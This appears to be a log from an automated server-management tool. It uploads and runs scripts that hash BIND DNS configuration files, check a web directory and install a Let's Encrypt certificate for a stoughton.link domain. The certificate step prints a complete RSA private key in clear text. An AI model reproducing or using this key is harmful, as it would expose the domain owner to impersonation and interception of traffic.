MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 14:30:22: Establishing a connection
2026-04-29 14:30:22: 

PUT: /tmp/pkp494702

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 14:30:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp494702; rm /tmp/pkp494702'

2026-04-29 14:30:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 14:30:44: Establishing a connection
2026-04-29 14:30:44: Establishing a connection
2026-04-29 14:30:44: 

PUT: /tmp/pkp376185

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-29 14:30:44: 

chmod 755 /tmp/pkp376185; /tmp/pkp376185; rm /tmp/pkp376185

2026-04-29 14:30:44: 


0


2026-04-29 14:31:08: Establishing a connection
2026-04-29 14:31:08: 

PUT: /tmp/pkp481647

#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt

cat > $temp_file <<'endmsg'
9c:ce:7d:42:b2:d3:49:c6:cb:25:77:ab:3b:5b:3c:cc

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBo4S3CoRnKGWpubTIuWCNTfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTMzMjM2WhcNMjYwNzI4MTMzMjM1WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMhaeti7rItaTD4WgKtp7u0fve+NCT5TdhhSTIMgoluuBvb3gKNVokau5Ii3bKS6
Bo3G9RrVQd17QnIeeMsd1qtoXlyxLT/tqfWJyw+zuT2j2jramkxLVdB4ylbVz+8n
XabWuOmHbKHeQoyvNLzkEWYu9Ks5/Ly9AnvAayCmrdEFS/+R9dpQdbSyaJohYCEv
HNJ5IALK5cMMvt369pudeO5SEXMr9Dkih1zTlyr9taowC5fbof90NjZaF6sBYqzT
YhQgOHbwst5OZ+1t/4CImGaOHiOmxsDGVcsqTGHHtKiYDqdV25lNzRPMRf9Bz225
zvji/mtPpNi/bQeiEZ+kGz8CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRPd2ZT
Eo/bTxSV6REti94Kcqq5TjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTE0LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB1AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZDlLNAAABndmmlvsAAAQD
AEYwRAIgZtZtZUsptHZ2H51Fd9jtkmi2PoBrRnKouegj5bakTXwCIHU6jETJ7UYY
W1IqSrhZGD2Vf/5SIdhq6NJXGJF5cZlPAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGd2aaZ6gAIAAAFAAjYdaQEAwBHMEUCIQCi/SZiSWpZZJmE
o0GvRfJmC83pskSz+wI8hV4bNqR9PAIgWbR0ElUnx0U7goaSjITBB3Lrdo8ZXBpl
aLz4zsIw4EwwDQYJKoZIhvcNAQELBQADggEBAJLKr+tO5ixR9T6n4zhmbJEZvljv
gljE3FOMPU/B8e/bnyhca9TKt5a85oF3RU4dkT3r4vxWnC+6OGFfTz2+n2ntjEJn
S5gAr31vX/TxTvZJJdttb419LQm+H0RlhIDEbBset9fXQrs2G/Grb1YBjuWqvZ9Z
f5gosdXGFWWMANkqWdDjkR5g45sD4um3g8GweH/dH2IsPc2J/7r0/JR0cbp23c67
FtoMP25euW45zARjay6+RJL5qKnUSfDpNEuGvys6gQ2H6pJrJdM95u1IJy2jMQyB
8wfbH4qXBUtjeydPAKl7aak8j7EsfEcYBa0JN/4NVC9rIcrcPBGAjlvtl5M=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIWnrYu6yLWkw+
FoCrae7tH73vjQk+U3YYUkyDIKJbrgb294CjVaJGruSIt2ykugaNxvUa1UHde0Jy
HnjLHdaraF5csS0/7an1icsPs7k9o9o62ppMS1XQeMpW1c/vJ12m1rjph2yh3kKM
rzS85BFmLvSrOfy8vQJ7wGsgpq3RBUv/kfXaUHW0smiaIWAhLxzSeSACyuXDDL7d
+vabnXjuUhFzK/Q5Iodc05cq/bWqMAuX26H/dDY2WherAWKs02IUIDh28LLeTmft
bf+AiJhmjh4jpsbAxlXLKkxhx7SomA6nVduZTc0TzEX/Qc9tuc744v5rT6TYv20H
ohGfpBs/AgMBAAECggEAQ/Rwa1eIaAGaD4sJXFqDV/kmrnwLMREU4p3zZpxohSkL
IrQC9SNj9Y53ZCm2l06jT242j0Ha47jdaiCMvvPhbmTpcI4Ft4OwXGA+uBYw08fi
Cok/wXXh5uI5WueNbePPv3lf4ZF11pcwwk/g1tqSTjLJ+NOjtg5zq66xhzMRjG2i
TZpF6GhBISrseQ5zpL7ABpouNKXzj35ltm072ENk4eGany5vHs6xhTKov4SkdSHR
27v9PCh9bICdt9DAoeGcbdjrKupK67VNEi5nU5uroICjxhuG7/2jA7r1HKnIym8W
Qet9d9/o8pwUowxdEB1wxstkMf5Z7YZmYJw2JmhUEQKBgQDpKzUYCfcApI4Se61t
HcKk+pxEc7NvypGuWMnLL4gF5Zohg13UU6sLj4cpTQ03NR2P0asDf4J5idAyj84V
iMlDRrsctKAuUrx6plJuZOpAHnUiNgcczwEvOuT+ZD5UYr5JZspN1h+/1Dk35XZQ
jfwsZnKbpUcxUGNB5gWrOikA8QKBgQDb+LJ80tFi8T3szGz/IepfMX1LPSL8lyuj
DMSQRj4l2fXujqS8Vkl0AaDqqQ5IRgvPRRyqrswuEWVmzwL+tFX3Tl3zWr029m5t
1WomuMgnWFDcM9Z7qI0yS343aom+wPRfOx+nlxzKSizeskPeCvl+nTGXRKo0dPTQ
BDUpLvvfLwKBgQDDK9iIY6buUc9eJ0oWYOfRgriVD6ft9kiVAFsBCas5DGREkxpS
JSqyRZSkfIuIX5x8Csuz5OKI61NrTzX4joOxHZ53u7WssLJ1k4zCPRRbUWNInKK9
eYSLTSfqzGvj5LdU54aFOqtevbybTiYH7aFcZPCf2evKmnhK68ho+AjkcQKBgQDX
b9mPuwHrv44Ar65IqjTbCqNF3xi2/m90f3q8Oq9/btsYy4e4FWJXRYkOiog8bK4A
UBXlbND4hX0klba/MmvHjG8jekk63VwGIjCWv/732d1H7VUxQ0EWcy2opKVHt78e
zc8Q2kUOMluDuGATxffY86ewGUYBnlJusNBIB4YTbQKBgHqdbCDM7MIkURRQj2/+
JKbcI8qxmz5hh69s8p+MrJZPfhcWke3JvHBweixJcZPo24NrUvHaEeiNfOQvX/98
2ysyfx8TONkT++7+xI1OoNLWMnv6En+5VF3ihG0FQY33uQxGX9DFeEtiAr06f4Y6
IZMSPKwqu7iRWHiLhqT76vmg
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
